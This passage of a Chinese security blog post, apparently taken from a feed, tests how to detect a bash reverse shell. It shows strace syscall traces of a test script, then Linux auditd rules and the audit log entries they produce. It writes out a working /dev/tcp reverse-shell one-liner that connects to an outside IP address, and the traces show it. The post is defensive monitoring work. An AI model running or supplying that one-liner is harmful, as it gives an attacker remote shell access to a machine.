/dev/tcp/130.182.116.111&quot;..., 80) = 73</span><br><span class="line">lseek(3, 0, SEEK_SET)                   = 0</span><br><span class="line">getrlimit(RLIMIT_NOFILE, &#123;rlim_cur=1024, rlim_max=4*1024&#125;) = 0</span><br><span class="line">fcntl(255, F_GETFD)                     = -1 EBADF (Bad file descriptor)</span><br><span class="line">dup2(3, 255)                            = 255</span><br><span class="line">close(3)                                = 0</span><br><span class="line">fcntl(255, F_SETFD, FD_CLOEXEC)         = 0</span><br><span class="line">fcntl(255, F_GETFL)                     = 0x8000 (flags O_RDONLY|O_LARGEFILE)</span><br><span class="line">fstat(255, &#123;st_mode=S_IFREG|0644, st_size=73, ...&#125;) = 0</span><br><span class="line">lseek(255, 0, SEEK_CUR)                 = 0</span><br><span class="line">brk(0x7bf000)                           = 0x7bf000</span><br><span class="line">read(255, &quot;exec 9&lt;&gt; /dev/tcp/130.182.116.111&quot;..., 73) = 73</span><br><span class="line">brk(0x7c0000)                           = 0x7c0000</span><br><span class="line">socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3</span><br><span class="line">connect(3, &#123;sa_family=AF_INET, sin_port=htons(2323), sin_addr=inet_addr(&quot;130.182.116.111&quot;)&#125;, 16) = 0</span><br><span class="line">fcntl(9, F_GETFD)                       = -1 EBADF (Bad file descriptor)</span><br><span class="line">dup2(3, 9)                              = 9</span><br><span class="line">close(3)                                = 0</span><br><span class="line">fcntl(0, F_GETFD)                       = 0</span><br><span class="line">fcntl(0, F_DUPFD, 10)                   = 10</span><br><span class="line">fcntl(0, F_GETFD)                       = 0</span><br><span class="line">fcntl(10, F_SETFD, FD_CLOEXEC)          = 0</span><br><span class="line">dup2(9, 0)                              = 0</span><br><span class="line">fcntl(9, F_GETFD)                       = 0</span><br><span class="line">close(10)                               = 0</span><br><span class="line">fcntl(1, F_GETFD)                       = 0</span><br><span class="line">fcntl(1, F_DUPFD, 10)                   = 10</span><br><span class="line">fcntl(1, F_GETFD)                       = 0</span><br><span class="line">fcntl(10, F_SETFD, FD_CLOEXEC)          = 0</span><br><span class="line">dup2(9, 1)                              = 1</span><br><span class="line">fcntl(9, F_GETFD)                       = 0</span><br><span class="line">fcntl(2, F_GETFD)                       = 0</span><br><span class="line">fcntl(2, F_DUPFD, 10)                   = 11</span><br><span class="line">fcntl(2, F_GETFD)                       = 0</span><br><span class="line">fcntl(11, F_SETFD, FD_CLOEXEC)          = 0</span><br><span class="line">dup2(1, 2)                              = 2</span><br><span class="line">fcntl(1, F_GETFD)                       = 0</span><br><span class="line">close(11)                               = 0</span><br><span class="line">close(10)                               = 0</span><br><span class="line">brk(0x7c1000)                           = 0x7c1000</span><br><span class="line">rt_sigprocmask(SIG_BLOCK, [INT CHLD], [], 8) = 0</span><br><span class="line">clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fcafdb65e10) = 4834</span><br><span class="line">rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0</span><br><span class="line">rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0</span><br><span class="line">rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0</span><br><span class="line">rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0</span><br><span class="line">rt_sigaction(SIGINT, &#123;sa_handler=0x449930, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">wait4(-1, [&#123;WIFEXITED(s) &amp;&amp; WEXITSTATUS(s) == 127&#125;], 0, NULL) = 4834</span><br><span class="line">rt_sigaction(SIGINT, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=0x449930, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0</span><br><span class="line">--- SIGCHLD &#123;si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=4834, si_uid=0, si_status=127, si_utime=0, si_stime=0&#125; ---</span><br><span class="line">wait4(-1, 0x7ffeed722010, WNOHANG, NULL) = -1 ECHILD (No child processes)</span><br><span class="line">rt_sigreturn(&#123;mask=[]&#125;)                 = 0</span><br><span class="line">read(255, &quot;&quot;, 73)                       = 0</span><br><span class="line">rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0</span><br><span class="line">rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0</span><br><span class="line">exit_group(127)                         = ?</span><br><span class="line">+++ exited with 127 +++</span><br></pre></td></tr></table></figure><h3 id="2-strace-c-bash-test-sh"><a href="#2-strace-c-bash-test-sh" class="headerlink" title="2. strace -c bash test.sh"></a>2. strace -c bash test.sh</h3><p><img src="/2017/07/25/reverse-shell/reverse-shell.png" alt="reverse-shell"></p><h2 id="二、audit监控分析"><a href="#二、audit监控分析" class="headerlink" title="二、audit监控分析"></a>二、audit监控分析</h2><h3 id="1-audit相关资料"><a href="#1-audit相关资料" class="headerlink" title="1. audit相关资料"></a>1. audit相关资料</h3><ul><li><p>A Brief Introduction to auditd</p><p>  <a href="http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/" target="_blank" rel="noopener">http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/</a></p></li><li><p>Finding short-lived TCP connections owner process</p><p>  <a href="https://serverfault.com/questions/352259/finding-short-lived-tcp-connections-owner-process" target="_blank" rel="noopener">https://serverfault.com/questions/352259/finding-short-lived-tcp-connections-owner-process</a></p></li><li><p>Linux auditd</p><p>  <a href="http://wiki.nokernel.net/linux-auditd" target="_blank" rel="noopener">http://wiki.nokernel.net/linux-auditd</a></p></li><li><p>⁠Understanding Audit Log Files</p><p>  <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Security_Guide/sec-Understanding_Audit_Log_Files.html" target="_blank" rel="noopener">https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Security_Guide/sec-Understanding_Audit_Log_Files.html</a></p></li><li><p>ubuntu - auditctl - a utility to assist controlling the kernel’s audit system</p><p>  <a href="http://manpages.ubuntu.com/manpages/zesty/en/man8/auditctl.8.html" target="_blank" rel="noopener">http://manpages.ubuntu.com/manpages/zesty/en/man8/auditctl.8.html</a></p></li><li><p>finding-short-lived-tcp-connections-owner-process</p><p>  <a href="https://serverfault.com/questions/352259/finding-short-lived-tcp-connections-owner-process" target="_blank" rel="noopener">https://serverfault.com/questions/352259/finding-short-lived-tcp-connections-owner-process</a></p></li></ul><h3 id="2-测试audit监控规则"><a href="#2-测试audit监控规则" class="headerlink" title="2. 测试audit监控规则"></a>2. 测试audit监控规则</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">auditctl -A exit,always -S connect</span><br><span class="line">auditctl -a exit,always -F arch=b64 -F a0=2 -F a1=1 -S socket -k CONNECTION</span><br><span class="line">auditctl -a exit,always -F arch=b64 -S connect</span><br></pre></td></tr></table></figure><h4 id="1-auditctl-a-exit-always-F-arch-b64-S-connect"><a href="#1-auditctl-a-exit-always-F-arch-b64-S-connect" class="headerlink" title="1) auditctl -a exit,always -F arch=b64 -S connect"></a>1) auditctl -a exit,always -F arch=b64 -S connect</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root@Kali:~/pirogue/reverse_shell# auditctl -l</span><br><span class="line">-a always,exit -F arch=b64 -S connect</span><br></pre></td></tr></table></figure><p>回显：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">tailf /var/log/audit/audit.log</span><br><span class="line"></span><br><span class="line">type=CONFIG_CHANGE msg=audit(1500974819.373:24): auid=0 ses=3 op=&quot;add_rule&quot; key=(null) list=4 res=1</span><br></pre></td></tr></table></figure><ul><li>bash test.sh</li></ul><p>回显：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">tailf /var/log/audit/audit.log</span><br><span class="line"></span><br><span class="line">type=SYSCALL msg=audit(1500975246.989:30): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=1c052b8 a2=10 a3=129 items=0 ppid=4722 pid=7736 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm=&quot;bash&quot; exe=&quot;/bin/bash&quot; key=(null)</span><br><span class="line">type=SOCKADDR msg=audit(1500975246.989:30): saddr=0200091385827E520000000000000000</span><br><span class="line">type=PROCTITLE msg=audit(1500975246.989:30): proctitle=6261736800746573742E7368</span><br></pre></td></tr></table></figure><ul><li>exec 9&lt;&gt; /dev/tcp/130.182.116.111/2323;exec 0&lt;&9;exec 1&gt;&amp;9 2&gt;&1;/bin/bash</li></ul><p>直接执行反弹命令，并没有audit到网络连接行为。但反弹shell中执行：whoami，出现回显。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">type=SYSCALL msg=audit(1500975460.957:49): arch=c000003e syscall=42 success=no exit=-2 a0=3 a1=7ffe9c798490 a2=6e a3=6 items=1 ppid=7771 pid=7775 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm=&quot;whoami&quot; exe=&quot;/usr/bin/whoami&quot; key=(null)</span><br><span class="line">type=SOCKADDR msg=audit(1500975460.957:49): saddr=01002F7661722F72756E2F6E7363642F736F636B657400000000000000000000E029ECE3CD550000002CECE3CD55000000000000000000004B389E12077F00008028ECE3CD55000080988C12077F00001C000000000000004073C312077F0000F386799CFE7F0000100000000000</span><br><span class="line">type=CWD msg=audit(1500975460.957:49): cwd=&quot;/root&quot;</span><br><span class="line">type=PATH msg=audit(1500975460.957:49): item=0 name=&quot;/var/run/nscd/socket&quot; nametype=UNKNOWN</span><br><span class="line">type=PROCTITLE msg=audit(1500975460.957:49): proctitle=&quot;whoami&quot;</span><br><span class="line">type=SYSCALL msg=audit(1500975460.961:50): arch=c000003e syscall=42 success=no exit=-2 a0=3 a1=7ffe9c798640 a2=6e a3=6 items=1 ppid=7771 pid=7775 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm=&quot;whoami&quot; exe=&quot;/usr/bin/whoami&quot; key=(null)</span><br><span class="line">type=SOCKADDR msg=audit(1500975460.961:50): saddr=01002F7661722F72756E2F6E7363642F736F636B65740000109AE512077F000001000000000000000000000000000000C887799CFE7F0000D120C412077F00000100000000000000109AE512077F0000010000000000000000000000000000000100000000000000000000000000</span><br><span class="line">type=CWD msg=audit(1500975460.961:50): cwd=&quot;/root&quot;</span><br><span class="line">type=PATH msg=audit(1500975460.961:50): item=0 name=&quot;/var/run/nscd/socket&quot; nametype=UNKNOWN</span><br><span class="line">type=PROCTITLE msg=audit(1500975460.961:50): proctitle=&quot;whoami&quot;</span><br></pre></td></tr></table></figure><h4 id="2-auditctl-a-always-exit-F-arch-b64-S-socket"><a href="#2-auditctl-a-always-exit-F-arch-b64-S-socket" class="headerlink" title="2) auditctl -a always,exit -F arch=b64 -S socket"></a>2) auditctl -a always,exit -F arch=b64 -S socket</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">type=SYSCALL msg=audit(1500976257.753:113): arch=c000003e syscall=41 success=yes exit=3 a0=2 a1=1 a2=6 a3=2b items=0 ppid=2409 pid=7894 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm=&quot;bash&quot; exe=&quot;/bin/bash&quot; key=(null)</span><br><span class="line">type=PROCTITLE msg=audit(1500976257.753:113): proctitle=&quot;/usr/lib/gnome-terminal/gnome-terminal-server&quot;</span><br></pre></td></tr></table></figure><p>执行反弹命令直接监控到日志如上。输入whoami，也可监控到回显：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">type=SYSCALL msg=audit(1500976407.153:125): arch=c000003e syscall=41 success=yes exit=3 a0=1 a1=80801 a2=0 a3=6 items=0 ppid=7923 pid=7956 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm=&quot;whoami&quot; exe=&quot;/usr/bin/whoami&quot; key=(null)</span><br><span class="line">type=PROCTITLE msg=audit(1500976407.153:125): proctitle=&quot;whoami&quot;</span><br><span class="line">type=SYSCALL msg=audit(1500976407.153:126): arch=c000003e syscall=41 success=yes exit=3 a0=1 a1=80801 a2=0 a3=6 items=0 ppid=7923 pid=7956 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=3 comm=&quot;whoami&quot; exe=&quot;/usr/bin/whoami&quot; key=(null)</span><br><span class="line">type=PROCTITLE msg=audit(1500976407.153:126): proctitle=&quot;whoami&quot;</span><br></pre></td></tr></table></figure><p>待续…</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;一、跟踪系统调用&quot;&gt;&lt;a href=&quot;#一、跟踪系统调用&quot; class=&quot;headerlink&quot; title=&quot;一、跟踪系统调用&quot;&gt;&lt;/a&gt;一、跟踪系统调用&lt;/h2&gt;&lt;h3 id=&quot;1-strace-bash-test-sh&quot;&gt;&lt;a href=&quot;#1-strace
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
      <category term="信息安全" scheme="http://pirogue.org/tags/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
      <category term="反弹shell" scheme="http://pirogue.org/tags/%E5%8F%8D%E5%BC%B9shell/"/>
    
      <category term="安全监控" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E7%9B%91%E6%8E%A7/"/>
    
  </entry>
  
</feed>
